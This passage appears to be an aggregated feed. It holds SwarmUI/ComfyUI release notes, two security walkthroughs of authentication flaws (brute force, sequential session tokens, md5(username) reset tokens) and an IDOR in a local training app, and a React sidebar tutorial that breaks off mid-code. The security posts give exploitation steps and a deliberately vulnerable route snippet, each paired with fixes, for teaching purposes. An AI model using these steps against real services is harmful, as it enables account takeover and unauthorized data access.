FLUX 2 Klein INT8 and INT4 ConvRot HQ models : I have compiled high quality INT8 ConvRot and INT4 ConvRot versions of FLUX 2 Klein myself - Base 9B, Distilled 9B and Distilled 9B kv - 6 new models added to the model downloader app
FLUX 2 Klein Core Bundle and Complete Image Generation and Editing Bundle now download the INT8 ConvRot HQ versions - almost same quality as BF16 but massively faster, same as our Krea 2 and LTX 2.5 ConvRot models

With Amazing_SwarmUI_Presets_v70.json both FLUX 2 Klein Base and FLUX 2 Klein Distilled 8 Steps presets now use the INT8 ConvRot HQ models
MiniMax H3 FL2V Turbo 4-Step 768p speed LoRA updated to v1.1 : the model downloader now downloads minimax_h3_fl2v_turbo_4step_v1.1_768p_bf16.safetensors instead of the old v1.0 - this is the optional 16:9 aspect ratio speed up LoRA for 768p generations from LightX2V - MiniMax-H3 Core and Low VRAM bundles download the new version automatically

MiniMax H3 Init Audio : new Init Audio parameter group added - select or upload any audio file (or even a video file, its soundtrack is used) and MiniMax H3 generates the video to follow that soundtrack exactly : lipsync, action timing, ambience - and keeps it as the exact final audio track of the output
Works for Text To Video, Image To Video and References To Video presets and Init Audio Match Duration makes the video length automatically follow the audio length
Live token meter : a real time Tokens meter now appears above the prompt and shows estimated MiniMax H3 token usage (prompt + references + resolution + duration) against the 109k budget - you instantly see when your references or duration are too big before generating
Face Inpainting upgrades : new Face Inpaint Faces parameter selects which detected faces get refined : 1 = biggest face (default), 2 = second biggest, 1,3 or all - faces are ranked biggest to smallest and each selected face is refined in its own pass
New hallucination guard prevents pasting a wrong / neighbouring face over your subject and Face Inpaint Detector can no longer block generations

Installer / Updater overhaul : Windows_Install_SwarmUI.bat and Windows_Update_SwarmUI.bat are merged into a single Windows_Install_or_Update_SwarmUI.bat
Windows_Start_SwarmUI.bat is now ultra fast : it starts SwarmUI directly without updating or downloading anything and rebuilds only if the code actually changed
Update runs are much faster : unchanged extensions (Premium Extensions, Licon MSR, Foley) are skipped with a quick revision check instead of being re-downloaded on every run - FFmpeg and Cloudflared downloads are also skipped when already latest
Missing Git is now auto installed (winget on Windows, apt-get on Linux) instead of failing with cryptic WinError 2 errors
SwarmUI is now installed as a full git clone and older shallow installs are auto completed - fixes the scary Tag list empty?! warning of SwarmUI's own update check
.NET 10 SDK now installs into SwarmUI/.dotnet folder, matching SwarmUI's own launcher search order and persisting on RunPod / SimplePod network volumes - DOTNET_ROOT is exported so in-app Update and Restart now rebuilds with the correct SDK and works properly
Linux / cloud : Cloudflared is now installed system-wide from Cloudflare's official APT repository and launching prints the public trycloudflare.com URL so you can open SwarmUI from your own computer's browser on RunPod / SimplePod / Massed Compute - new --no-cloudflared and --host options added
RunPod, SimplePod and Massed Compute instruction files rewritten with exact HOW TO OPEN SWARMUI steps
Windows_Preset_Delete_Import.bat made more robust : works from any folder and auto picks the correct Python
To update : get latest zip file, extract and overwrite all, then run Windows_Install_or_Update_SwarmUI.bat and import Amazing_SwarmUI_Presets_v70.json
Also update your ComfyUI backend to latest V127 and get the 8 new LTX 2.5 ComfyUI presets : https://www.patreon.com/SECourses/posts/comfyui-auto-2-105023709

16 August 2026 Update V168

MiniMax H3 bundle updated to include newest 8-steps LoRA and also necessary Yolo Face model for new automatic ComfyUI Face Inpainting feature in presets for MiniMax H3
SwarmUI presets are now also using new Ref2V LoRA for references presets, you can switch to FL2V LoRA and see which one performs better so easy from LoRA tab and compare

Automatic video face inpainting implemented

Get latest zip file, extract and overwrite all, restart PC, run Windows_Update_SwarmUI.bat to update
Also import latest Amazing_SwarmUI_Presets json file
You can see impact of Face Inpainting here and now even better working : https://www.reddit.com/r/comfyui/comments/1vpl5bb/secourses_comfyui_installer_and_ready_presets_now/

14 August 2026 Update V166

We have added LTX 2.5 video upscaler and MiniMax Music 3 Text to Music presets into ComfyUI : https://www.patreon.com/SECourses/posts/comfyui-auto-2-105023709
- LTX 2.5 video upscaler preset is able to upscale any video, any resolution, any aspect ratio into 2x
- It is a very serious generative upscale so adds lots of details
- Therefore, try to upscale at 1 chunk to have better consistency
- Read preset information carefully after loading into ComfyUI
- Our SECourses Premium Upscaler Pro app also fully supports LTX 2.5 now : https://www.patreon.com/SECourses/posts/secourses-pro-150202809
  - It is standalone does not require ComfyUI and it auto downloads models when you first time use
To make these presets work out of the box, 2 new ComfyUI core bundles added to the downloader app as below
LTX 2.5 video generation presets and bundles will be added soon hopefully but its quality lower than MiniMax H3
Moreover, I have converted the LTX 2.5 Int8 ConvRot myself higher quality and more accurate than officially published ones
- Someone detected one of the model is corrupt and broken - officially released ConvRot Int8 variant
- I converted them from BF16 versions after big research and experimentation
- So our model downloader app will download better quality Int8 ConvRot of LTX 2.5 models
Our Musubi Trainer convert to quant tab also now supporting LTX 2.5 Int8 ConvRot compile : https://www.patreon.com/SECourses/posts/secourses-musubi-137551634

MiniMax Music 3 is reportedly lower quality than ACESTEP XL 1.5
- Our very advanced ACESTEP XL 1.5 Premium app below and it has full LoRA and DoRA training support
  - App : https://www.patreon.com/SECourses/posts/ace-step-1-5-xl-157675060
- MiniMax Music 3 also missing necessary resources to be trainable
- MiniMax Music 3 prompt templates shared here : https://github.com/MiniMax-AI/MiniMax-Music3/tree/main/skills/music-caption-rewriter/templates
To get updated model downloader app, as usual, get latest zip file, extract and overwrite all

12 August 2026 Update V165

The most professional speed up LoRA maker LightX2V just published new speed LoRAs for the MiniMax H3
- https://github.com/ModelTC/Minimax-H3-Turbo

Our MiniMax H3 core bundles now auto downloads both FL2VA Turbo 8-step v1.0 and FL2VA Turbo 4-step v1.0 768p
- Older v0.1 removed from downloads and presets so you can delete it from LoRA downloads if you did download before
- All presets now by default uses FL2VA Turbo 8-step v1.0 but you can switch it to FL2VA Turbo 4-step v1.0 768p
  - If you switch to FL2VA Turbo 4-step v1.0 768p you may be needed to overwrite Video shift value and set to 6, SwarmUI default sets to 12
- Sadly LoRAs only made for non-reference model atm but works on both models until they publish specific new LoRA for reference model
Quick set megapixels feature implemented
- Based on selected aspect ratio, it will set resolution according to your set
Moreover, now it will display visualization of the output based on aspect ratio and resolution

To update get the latest zip file, extract and overwrite all, run Windows_Update_SwarmUI.bat and also use Windows_Preset_Delete_Import.bat to get latest updated presets
Moreover get latest ComfyUI backend zip file and also update it through installer bat file : https://www.patreon.com/SECourses/posts/comfyui-auto-2-105023709

10 August 2026 Update V162

ComfyUI infinite video with MiniMax H3 tutorial published : https://youtu.be/1580ZDX-60Q

Hopefully a tutorial for SwarmUI coming soon

Completely Rebuilt Download Engine
- Exact byte-range resume after cancellation, connection loss, or application restart.
- Previously downloaded ranges are preserved instead of downloaded again.
- One sparse staging file replaces multiple temporary chunks and the expensive final merge.
- Significantly lower temporary disk-space requirements.
- Models are atomically installed only after size and SHA-256 verification.
- Corrupt or incomplete downloads can never replace a finished model.
Faster Hugging Face Downloads
- Native Hugging Face Xet is now recommended and enabled automatically when available.
- Xet automatically scales between 8 and 32 streams according to available system RAM.
- Improved recovery from stalled transfers, rate limits, server errors, and expired signed URLs.
- Removed the previous forced approximately 84.5 GiB Xet cache.
- New downloads default to no chunk cache, with an optional bounded reuse mode.
Improved Download Controls
- Direct URL downloads now appear in the active-download counter.
- Cancel and Cancel All now work with direct URL downloads.
- Completed ranges remain available after cancellation.
- Prevented overlapping standalone URL downloads.
- Small and large direct downloads now use the same atomic download system.
- Improved URL validation and rejection of HTML pages masquerading as model files.
- Safer Hugging Face and CivitAI domain detection.
Catalog And Interface Improvements
- Replaced the unavailable LTX 2.3 x2 spatial upscaler v1.0 with the official v1.1 long-video hotfix : ltx-2.3-spatial-upscaler-x2-1.1.safetensors
- Removed duplicate physical models from search and LoRA displays while keeping aliases searchable.
- Improved automatic folder detection for filenames containing hyphens and underscores.
- Improved mobile and narrow-screen layout.
Updater now detects and repairs incomplete FoleyExtension installations, including optional-image components.
MiniMax H3 Improvements
- Expanded the MiniMax H3 prompt-enhancement guide to v2.3.
- Added stable reference-roster numbering rules for multi-scene and folder-batch prompts.
- Added clearer image, video, audio, and paired-soundtrack reference rules.
- Corrected first-and-last-frame preset instructions to use Image To Video > Video End Image.
For updating please also update ComfyUI to latest as well and also this one
Use Windows_Update_SwarmUI.bat and import latest presets file

9 August 2026 Update V160

Model downloader app updated and Int4 ConvRot MiniMax H3 models bundle added as Low VRAM
- This bundle is great for 12 GB and below GPUs
- At the presets both ComfyUI and SwarmUI, just replace Int8 Model with below Int4 variants
- This format Int4 ConvRot models right out of the box working with our ComfyUI (use our installers) backend and installers for SwarmUI

We are using official code of Lightricks not Kijai implementation therefore our LoRA works better
However, Kijai had a VRAM optimization and i just implemented it
You will see it like below in presets, MAX savings reduces VRAM more than 40% but may reduce quality, exact saves 15%+ but same quality
Make sure to use our ComfyUI installer and update it for all features to run via our bat file
Remember MiniMax H3 specific features will only appear when you have selected MiniMax H3 architecture model in your model selection

If you set reference image size to max like this, it improves quality and accuracy but may use more memory, default is match

The importance of Max option is very significant

Video clip references are processed differently and below explains how they processed when used as a reference

8 August 2026 Update v159

This is a very major upgrade with so many new amazing stuff so please read carefully
Famous Lightricks released 4 steps LoRA for MiniMax H3
- https://github.com/ModelTC/Minimax-H3-Turbo
- https://huggingface.co/lightx2v/Minimax-h3-Turbo/tree/main
- I have fully and accurately implemented it into our installers
  - Currently not working with SwarmUI or ComfyUI as default but works with our installers due to myself developed premium nodes and extensions
  - Make sure to install update your ComfyUI and SwarmUI users must also use our ComfyUI backend
- This LoRA added into our model downloader MiniMax H3 core bundle please download

I have made new presets that uses this LoRA and does 8 steps so now you can use them
- It can go as low as 4 steps but I recommend 8 steps
New updated presets are as below

Audio Only preset is super fast and generates audio directly
- Audio generation can be used to see if your prompt and duration matching before generating video since it is like real 2x time speed
  - So 1 minute audio generation takes like 30 seconds on RTX 5090 therefore use audio generation preset to see if your prompt and duration matches - for speaking having videos
  - So quickly iterate, see if your audio accurate, then generate full video
Moreover, I recommend you to use 8 steps and 0.4 megapixel resolution to quickly generate your videos, verify they are accurate, then move full generation like 1344x768px and 20 steps high quality
- This works great
Add references and write prompt field improved so that now you can add videos and audios with trim as you wish as below (trimming is optional)
- For @video1's soundtrack, type ; @audio1 is the first standalone audio file
- According to the above rule, MiniMax_H3_Enchance_Prompt_Feed_For_LLMs.txt file improved and literally working amazing
- It is located inside Prompt_Generate_LTX_MiniMax_And_Presets_How_To_Use folder inside zip file
Trim interface supports both Audio and Video trimming

ComfyUI presets have amazing batch folder processing read changelogs : https://www.patreon.com/SECourses/posts/comfyui-auto-2-105023709
For SwarmUI, you can use Wildcards as a batch processing
- To process them with order not randomly, enable Display Advanced Options
- Then find Swarm Internal and change Wildcard Seed Behaviour to index
- Set regular seed 0 so it will start from first prompt in Wildcard and how many generations you make, it will make with order

Manually Breaking Authentication — A Full Walkthrough (CWE-307, CWE-330, CWE-640

Wed, 26 Aug 2026 06:18:14 +0000

⚠️ Educational / authorized testing only. Everything below targets a local, deliberately vulnerable training application, not a live system. Never run these techniques against anything you don't own or don't have explicit written authorization to test.

Automated scanners are great at pattern-matching known vulnerability classes. They're much weaker at authentication flaws that look completely legitimate at the HTTP level — a 200, a 401, a token — and only become a bug once you understand how the value was generated. This walkthrough is a fully manual assessment of three such bugs in a deliberately vulnerable login system, captured start to finish with nothing but a proxy-backed browser and a network tab.

The bugs

#	Bug	CWE	OWASP
1	`POST /login` has no rate limit, delay, or lockout	CWE-307	A07:2021 – Identification and Authentication Failures
2	Session tokens are sequential integers, not random	CWE-330	A07:2021
3	Password-reset token is `md5(username)` — deterministic, not random or single-use	CWE-640	A07:2021

Phase 1 — No brute-force protection

Three wrong passwords for admin, back to back, then the real one. All four POST /login requests return instantly — no 429, no CAPTCHA, no increasing delay. Filtering the network tab down to login shows the whole sequence sitting there in plain sight: nothing on the server side ever notices the repetition.

That's the entire proof for CWE-307. A real attacker isn't limited to four guesses — they're limited by whatever rate their network connection allows, because the server places no limit of its own.

Phase 2 — Predictable session tokens

The login endpoint hands out tokens from a shared, incrementing counter — regardless of which account is logging in. alice gets 1001. bob gets 1002. That's already suspicious, but the real proof of impact is this: clear your cookies, open a private window, and request /whoami?session=1001 with zero credentials. The server hands back alice's full identity, because "knowing a number" and "being alice" are treated as equivalent.

Phase 3 — A reset token that isn't a secret

/reset-token?username=alice returns a 32-character hex string that looks random — until you request it again and get the exact same value back. It's not a secret; it's md5("alice"), a pure function of public data. Anyone who knows a username can compute their "reset token" offline, with no server interaction and no account access at all.

From evidence to finding

Each bug was routed from the network capture into a manual finding — evidence field populated with the actual request/response pairs, CWE and OWASP mapping attached, and a concrete fix:

Finding A (Medium) — add per-account and per-IP throttling with exponential backoff or lockout, plus a CAPTCHA after repeated failures.
Finding B (High) — issue tokens from a cryptographically secure random source (128+ bits), never a counter.
Finding C (High) — generate a random, single-use, time-limited reset token, stored server-side and delivered only to the account's verified contact method.

Takeaway

None of this required exploit tooling — it required patience, a network tab, and the discipline to capture evidence before writing a single conclusion. Scanners are excellent at known-signature bugs; deterministic secrets and predictable state are exactly the class of finding that still needs a human reading raw traffic.

What's the last "boring" auth bug your team caught that a scanner missed? Curious to hear how others are covering this gap.

Try it yourself → https://github.com/sendwavehub/scan-target-demo-apps
Windows Store https://apps.microsoft.com/detail/9pj0j7bk1m27?hl=en-US
Web Site https://Sendwavehub.tech/en/apps/ai-security-studio-4

Manually Proving and Documenting an IDOR (CWE-639) — A Full Walkthrough

Mon, 24 Aug 2026 13:07:58 +0000

Most IDOR write-ups stop at "change the ID in the URL and you get someone else's data."
That's the easy part. The part that actually matters — proving it rigorously, ruling out
the boring explanation, and turning it into a report someone can act on — usually gets
skipped.

I recorded a full walkthrough doing exactly that, end to end, against a deliberately
vulnerable local training target.

{% youtube 8RlBRBQBUAw %}

The bug

A simple invoice endpoint, GET /invoices/:id. It checks that someone is logged in
(401 if not), but never checks that the logged-in identity actually owns the invoice
it's returning:

invoices.find(inv => inv.id === Number(req.params.id))
// no invoice.owner === session.user check
Log in as any user, change the number in the URL, read anyone's invoice. Classic
CWE-639 — Authorization Bypass Through User-Controlled Key, and it maps directly to:

OWASP A01:2021 — Broken Access Control
API1:2023 — Broken Object Level Authorization (BOLA)
What the walkthrough actually covers
The video isn't just "look, it's broken" — it's the full evidence chain a real assessment
needs:

TimestampPhase
0:00Capture two separate identities (alice, bob)
1:26:19Prove cross-owner access live, in-browser
2:06:26Pull raw request/response evidence from the network tab
2:52:04Run a negative control — unauthenticated request, confirm 401
4:08:06Confirm independently with an automated IDOR probe
6:12:03Create a structured finding (CWE/OWASP/API mapping + evidence)
8:12:07Structure the evidence for review
10:29:00Export a report
The negative control is the step people skip most often, and it's the one that separates
"broken access control" from "there's just no auth at all" — an important distinction if
you're writing this up for a real triager.

Why the control matters
Without it, you've only shown that an authenticated user can read someone else's data —
you haven't ruled out the (much less interesting) possibility that the endpoint has no
auth check whatsoever. Hitting the same endpoint with zero session and getting a clean
401 proves the app does enforce authentication — it just never enforces ownership.
That's the difference between a one-line "missing auth" bug and a systemic
authorization-model gap.

Fix
Load the object, then check ownership before returning it:


const invoice = invoices.find(inv => inv.id === Number(req.params.id));
if (!invoice || invoice.owner !== session.user) {
  return res.status(404).end(); // or 403 — avoid leaking existence via 401 vs 403
}
Every object access needs to be authorized, not just authenticated — that's the whole bug
in one sentence.

All testing shown is against a local, self-hosted, intentionally vulnerable training app —
offline, no unauthorized access. If you're learning web app security, bug bounty hunting,
or just want to see what "proving" a vuln looks like beyond a screenshot, the full video
is above.

Try it yourself → [https://github.com/sendwavehub/scan-target-demo-apps][1]
Windows Store [https://apps.microsoft.com/detail/9pj0j7bk1m27?hl=en-US][2]
Web Site [https://Sendwavehub.tech/en/apps/ai-security-studio-4][3]


  [1]: https://github.com/sendwavehub/scan-target-demo-apps
  [2]: https://apps.microsoft.com/detail/9pj0j7bk1m27?hl=en-US
  [3]: https://Sendwavehub.tech/en/apps/ai-security-studio-4

Build A Responsive Sidebar with React and Styled Components

Mon, 24 Aug 2026 07:34:57 +0000

Navigation is the most easiest way to go through the website. The navigation links can be displayed either in Sidebar or Navbar. Both services are widely used by most of the websites.

What will we be building?

In this article, we will be building a simple yet responsive sidebar, step-by-step using ReactJS, styled-components, and React Router DOM as our major dependencies. This sidebar will be fully responsive on all devices, a demo of which is present here.

Pro: We will also be learning one of the folder structures in this react app.

Prerequisites

Before diving into coding this component, you need to make sure you have good knowledge of:

HTML, CSS, JavaScript
ReactJS
Styled-components
React Router DOM

Moreover, you also need have:

NodeJS (Stable version)
NPM and / or Yarn

Building the component

In Command Prompt, navigate to the directory where you would like to create the project and type:

1. Install the React App

# With npm
npx create-react-app react-sidebar

# With yarn
yarn create react-app react-sidebar

where react-sidebar is the project directory name. Now open this project directory in your favorite code editor. I will be using Visual Studio Code.

Now, keep index.js, App.js and App.css and delete the other files / folders inside src folder. This will clean up most of the react app.

Inside public folder, keep index.html file and delete all other files / folders.

2. Add the packages to the react app

Install Material UI Icons, React Router DOM, styled-components. Run the following command to get them installed on our react app:

# With npm
npm install @mui/icons-material @mui/material @emotion/styled @emotion/react react-router-dom styled-components

# With yarn
yarn add @mui/material @emotion/react @emotion/styled react-router-dom styled-components

Let's connect the whole app with react-router-dom so that its functions / components can be used everywhere. Replace the code in src/index.js with the following:

// src/index.js
import React from "react";
import { BrowserRouter } from "react-router-dom";
import ReactDOM from "react-dom/client";
import App from "./App";

const root = ReactDOM.createRoot(document.getElementById("root"));
root.render(
  <React.StrictMode>
    <BrowserRouter>
      <App />
    </BrowserRouter>
  </React.StrictMode>
);

First and foremost, we need to use react-router-dom to create links to different pages within our app. So, we need to connect the whole app with its parent component which is BrowserRouter. This will give us access to use almost all of the components, the said package has to offer.

To do so, at first, we import the parent component and wrap the App component inside the parent component. This App component covers our whole app and we can use React Router anywhere within our app.

Run the app in your browser using npm start or yarn start and head to localhost:3000 to view the changes.

Now, let's create the routes / pages using react-router-dom. Replace the code in src/App.js with the following code:

// src/App.js
import { Routes, Route } from "react-router-dom";
import { DynamicItem, Sidebar, dummyData } from "./components";
import "./App.css";

function App() {
  return (
    <div id="main">
      <Sidebar>
        <Routes>
          <Route path="/" element={<DynamicItem page="homepage" />} />
          {dummyData &&
            dummyData.map((item, index) => (
              <Route
                key={index}
                path={item.path}
                element={<DynamicItem page={item.name} />}
              />
            ))}
        </Routes>
      </Sidebar>
    </div>
  );
}

export default App;

Here, we are importing Routes, Route from react-router-dom which will help us create pages within our app. We are also importing the Sidebar component, which we will be creating after sometime, dummyData, some random data which includes path to our pages, DynamicItem, a dummy page which displays the page name as we navigate to it.

Next thing, we need to do is use the Sidebar component. This component will be such that it will accept children as props so that it is visible everywhere as we navigate between the pages. Right after that, we need to add Routes component, a container which covers our pages / routes as we create them so that the app knows this is a routes container and it contains pages.

Now, the only thing we need to do is add the routes we want. We know that dummyData contains the paths to the pages, we can map through the data to get them, and use Route component for each of the path. The Route component accepts two properties, path, where the route will be navigating to, and element, which is a component that will be rendered in that page / route.

Now, we need to add the basic styling to our app. These styles only define the layout of our app. Replace the code in src/App.css with the following code:

Note: We can also create some of the styling using styled-components. You can do the styling however you like, but here, I have used css for basic styling.

/* src/App.css */
* {
  margin: 0;
  padding: 0;
  -webkit-box-sizing: border-box;
  box-sizing: border-box;
  outline: none;
  border: none;
  text-decoration: none;

  font-family: "IBM Plex Sans", -apple-system, BlinkMacSystemFont, "Segoe UI",
    "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue",
    sans-serif;
}

#main {
  width: 100%;
  height: 100%;
  display: flex;
  flex-direction: row;
}

.btn {
  margin: 1rem 1rem 0 0;
  padding: 0.25rem 0.5rem;
  display: flex;
  gap: 0.25rem;
  align-items: center;
  justify-content: center;
  background: transparent;
  outline: none;
  border: 1px solid #808080;
  border-radius: 3px;
  -webkit-border-radius: 3px;
  -moz-border-radius: 3px;
  -ms-border-radius: 3px;
  -o-border-radius: 3px;
  cursor: pointer;
  transition: all 0.2s ease-in-out;
  -webkit-transition: all 0.2s ease-in-out;
  -moz-transition: all 0.2s ease-in-out;
  -ms-transition: all 0.2s ease-in-out;
  -o-transition: all 0.2s ease-in-out;
}

.btn:hover {
  background-color: #e4e3e34d;
}

#page {
  display: flex;
  align-items: center;
  justify-content: center;
  text-align: center;
  text-transform: capitalize;
  font-size: 1rem;
  overflow: hidden;
}

@media screen and (min-width: 468px) {
  #page {
    font-size: 3rem;
  }

  .btn {
    padding: 0.5rem 0.75rem;
    gap: 0.5rem;
  }
}

.app__brand__text {
  font-size: 2rem;
  font-weight: 700;
  color: #5a8dee;
  margin-left: 0.5rem;
}

/* Sidebar toggle button starts */
.outer__circle {
  position: relative;
  width: 1.5rem;
  height: 1.5rem;
  border-radius: 50%;
  background-color: #5f97ef;
  display: flex;
  align-items: center;
  justify-content: center;
}

.outer__circle::after {
  position: absolute;
  top: 0.225rem;
  left: 0.215rem;
  content: "";
  width: 1.1rem;
  height: 1.1rem;
  border-radius: 50%;
  background-color: #fff;
}

.inner__circle {
  position: relative;
  width: 0.75rem;
  height: 0.75rem;
  border-radius: 50%;
  background-color: #5f97ef;
  z-index: 100;
}

.inner__circle::after {
  position: absolute;
  top: 0.125rem;
  left: 0.15rem;
  content: "";
  width: 0.5rem;
  height: 0.5rem;
  border-radius: 50%;
  background-color: #fff;
}
/* Sidebar toggle button ends */

Here, we are resetting every style in the react app using * pseudo selector to configure the whole app the way we want it. Moreover, we are also defining the styles for parent div container of app with the class name main. We are also defining the styles for a button which will be used later in DynamicItem component.

In this global styles file, we are manually making two circles button instead of using some library. This button toggles whether or not to display the sidebar as a whole. This could done in many ways, this is just one of them.

Let's create a file which will store the icons which will be used in our react app.

Head to src folder and create a new folder inside it under components name. Inside components folder, create a new file with Icons.js name and add the following code to it:

// src/components/Icons.js
import HomeOutlinedIcon from "@mui/icons-material/HomeOutlined";
import WebOutlinedIcon from "@mui/icons-material/WebOutlined";
import CalendarTodayOutlinedIcon from "@mui/icons-material/CalendarTodayOutlined";
import CalendarMonthOutlinedIcon from "@mui/icons-material/CalendarMonthOutlined";
import PersonOutlineOutlinedIcon from "@mui/icons-material/PersonOutlineOutlined";
import SubjectOutlinedIcon from "@mui/icons-material/SubjectOutlined";
import GppGoodOutlinedIcon from "@mui/icons-material/GppGoodOutlined";
import AdminPanelSettingsOutlinedIcon from "@mui/icons-material/AdminPanelSettingsOutlined";
import ListAltOutlinedIcon from "@mui/icons-material/ListAltOutlined";
import InputOutlinedIcon from "@mui/icons-material/InputOutlined";

import ArrowRightOutlinedIcon from "@mui/icons-material/ArrowRightOutlined";
import ArrowBackIcon from "@mui/icons-material/ArrowBack";

export {
  HomeOutlinedIcon as HomeIcon,
  WebOutlinedIcon as LayoutIcon,
  CalendarMonthOutlinedIcon as CalendarIcon,
  PersonOutlineOutlinedIcon as UserIcon,
  SubjectOutlinedIcon as InvoiceIcon,
  GppGoodOutlinedIcon as RolesIcon,
  CalendarTodayOutlinedIcon as PagesIcon,
  AdminPanelSettingsOutlinedIcon as AuthIcon,
  ListAltOutlinedIcon as WizardIcon,
  InputOutlinedIcon as ModalIcon,
  ArrowBackIcon,
  ArrowRightOutlinedIcon as ArrowIcon,
};

In this file, we are importing every icon, that we will be using inside our app, and exporting it from a single file. This will help us to import our icons from a single file instead of using multiple lines to import our icons.

Similarly, we will be creating a new file inside src/components folder under the name Data.js. This file will contain our dummy data that we will be using in our app. Open Data.js file and add the following code to it:

// src/components/Data.js
import {
  HomeIcon,
  LayoutIcon,
  CalendarIcon,
  InvoiceIcon,
  UserIcon,
  RolesIcon,
  PagesIcon,
  AuthIcon,
  WizardIcon,
  ModalIcon,
} from "./Icons";

export const SIDEBAR_DATA = [
  {
    id: 1,
    name: "dashboards",
    path: "dashboards",
    icon: <HomeIcon />,
  },
  {
    id: 2,
    name: "layouts",
    path: "layouts",
    icon: <LayoutIcon />,
  },
  {
    id: 3,
    name: "calendar",
    path: "calendar",
    icon: <CalendarIcon />,
  },
  {
    id: 4,
    name: "invoice",
    path: "invoice",
    icon: <InvoiceIcon />,
  },
  {
    id: 5,
    name: "users",
    path: "users",
    icon: <UserIcon />,
  },
  {
    id: 6,
    name: "roles & permissions",
    path: "roles",
    icon: <RolesIcon />,
  },
  {
    id: 7,
    name: "pages",
    path: "pages",
    icon: <PagesIcon />,
  },
  {
    id: 8,
    name: "authentication",
    path: "authentication",
    icon: <AuthIcon />,
  },
  {
    id: 9,
    name: "wizard examples",
    path: "wizard",
    icon: <WizardIcon />,
  },
  {
    id: 10,
    name: "modal examples",
    path: "modal",
    icon: <ModalIcon />,
  },
];

Note that we are importing the icons from a single file instead of using multiple lines to import. This way, we can also avoid redundancy.

In this file, we are defining an array of objects each of which contains data for our pages, i.e. an id, name, path, icon. This is the whole data that will be used throughout our app. Feel free to extend it as much as you want.

Another thing we need to do is create a centralized file which will export all our files, just like Icons.js file. Create index.js file inside src/components folder and add the following code to it:

// src/components/index.js
export { default as Sidebar } from "./Sidebar";
export { default as SidebarItems } from "./Sidebar/SidebarItems";
export { default as DynamicItem } from "./Routes/[item]";

export { SIDEBAR_DATA as dummyData } from "./Data";

In this file, we are following the similar procedure as that of Icons.js.

Note that the files exported as default need to be imported as default as well but the ones without default need to be imported without it.

Now let's create a file that will render the items of a page. You guessed it right! We will be creating DynamicItem component. Create a folder inside src under the name Routes and inside that folder, create a file with [item].jsx and add the following code to it:

If you have worked with NextJS, you know why we are using square brackets. For those who do not know, you can name it anything you want, even without the square brackets.

// src/components/Routes/[item].jsx
import { Link } from "react-router-dom";
import { ArrowBackIcon } from "../Icons";

const Item = (props) => {
  const { page } = props;
  if (page === "homepage") {
    return <div id="page">{page}</div>;
  } else {
    return (
      <div id="page">
        <Link to="/">
          <button className="btn">
            <ArrowBackIcon /> Back to Home
          </button>
        </Link>
        {page}
      </div>
    );
  }
};

export default Item;

We know we have created the routes for the pages that we want. Now we need to make pages that will be rendered.

Here we are importing Link component from react-router-dom, a back icon from Icons.js file. We know there is no other page / route behind it but the homepage contains other pages / routes. So, if the route is /, we just need to render the component, else, we also need to render a back button that will take us back to homepage.

We are using Link component to navigate back to homepage as the page already exists. Recall that we created routes inside src/App.js.

Now comes the main item, the sidebar component. Head to src folder and create a new folder inside it under the name Sidebar and create a new file inside it with index.jsx name. This will be the main file that will consume almost all the files. Add the following code to it:

// src/components/Sidebar/index.jsx
import React, { useState } from "react";

import {
  Children,
  SidebarContainer,
  SidebarWrapper,
  SidebarLogoWrapper,
  SidebarLogo,
  SidebarBrand,
  SidebarToggler,
} from "./SidebarStyles";
import BrandLogo from "./BrandLogo.svg";

import { SidebarItems } from "..";

const MOBILE_VIEW = window.innerWidth < 468;

export default function Sidebar({ children }) {
  const [displaySidebar, setDisplaySidebar] = useState(!MOBILE_VIEW);

  const handleSidebarDisplay = (e) => {
    e.preventDefault();
    if (window.innerWidth > 468) {
      setDisplaySidebar(!displaySidebar);
    } else {
      setDisplaySidebar(false);
    }
  };

  return (
    <React.Fragment>
      <SidebarContainer displaySidebar={displaySidebar}>
        <SidebarWrapper>
          <SidebarLogoWrapper displaySidebar={displaySidebar}>
            {/* Logo wrapper starts */}
            <SidebarLogo href="#">
              <span className="app-brand-logo demo">
                <img src={BrandLogo} alt="Brand logo" />
              </span>
              <SidebarBrand
                displaySidebar={displaySidebar}
                className="app__brand__text"
              >
                Frest
              </SidebarBrand>
            </SidebarLogo>
            {/* Logo wrapper ends */}
            {/* Toggle button */}
            <SidebarToggler
              displaySidebar={displaySidebar}
              onClick={handleSidebarDisplay}
            >
              <div className="outer__circle">
                <div className="inner__circle" />
              </div>
            </SidebarToggler>
          </SidebarLogoWrapper>
            {/* Render the SidebarItems component */}
          <SidebarItems displaySidebar={displaySidebar} />
        </SidebarWrapper>
      </SidebarContainer>
            {/* Render the children */}
      <Children displaySidebar={displaySidebar}>{children}</Children>
    </React.Fragment>
  );
}

This is the file where we will be building Sidebar. We are importing state manager useState from React to control the view of the sidebar, styles from another file, it will be created within the same directory, a Brand Logo Feel free to use whatever logo you want, SidebarItems file that will render our items from the data.

Another thing we are doing here is creating a global variable that will store whether the viewpoint is mobile or not. If the viewpoint is mobile, display a portion of the sidebar otherwise, make the sidebar togglable, using useState. Then we are creating an arrow function that will handle whether or not to display the full sidebar.

In the end, we are returning a React Fragment and displaying the brand logo, toggle button, the sidebar items, and the children.

Note that we are creating the styles using styled-components that can accept parameters and will help us in displaying the sidebar.

Now let's create a file that will apply all the necessary styling to the sidebar. Head to src/components/Sidebar and create a new file under the name SidebarStyles.js and add the following code to it:

// src/components/Sidebar/SidebarStyles.js
import styled from "styled-components";

// Children Component
export const Children = styled.div`
  width: 100%;
  height: 100%;
  margin-left: ${({ displaySidebar }) => (displaySidebar ? "15rem" : "5rem")};
  @media (max-width: 468px) {
    margin-left: 5rem;
  }
`;

export const SidebarWrapper = styled.div`
  width: 100%;
  height: 100%;
  display: flex;
  flex-direction: column;
  font-size: 0.9rem;
`;

export const SidebarLogoWrapper = styled.div`
  padding: 0.5rem 1rem;
  margin-bottom: 1rem;
  display: flex;
  justify-content: ${({ displaySidebar }) =>
    displaySidebar ? "space-between" : "center"};
  align-items: center;
  @media (max-width: 468px) {
    justify-content: center;
  }
`;

export const SidebarLogo = styled.a`
  display: flex;
  align-items: center;
  justify-content: center;
  @media (max-width: 468px) {
    display: none;
  }
`;

export const SidebarBrand = styled.span`
  display: ${({ displaySidebar }) => (displaySidebar ? "block" : "none")};
`;

export const SidebarToggler = styled.button`
  cursor: pointer;
  display: ${({ displaySidebar }) => (displaySidebar ? "block" : "none")};
  @media (max-width: 468px) {
    display: block;
  }
`;

// SidebarItem styles
export const ItemsList = styled.ul`
  list-style: none;
`;

export const ItemContainer = styled.li`
  margin-top: 0.5rem;
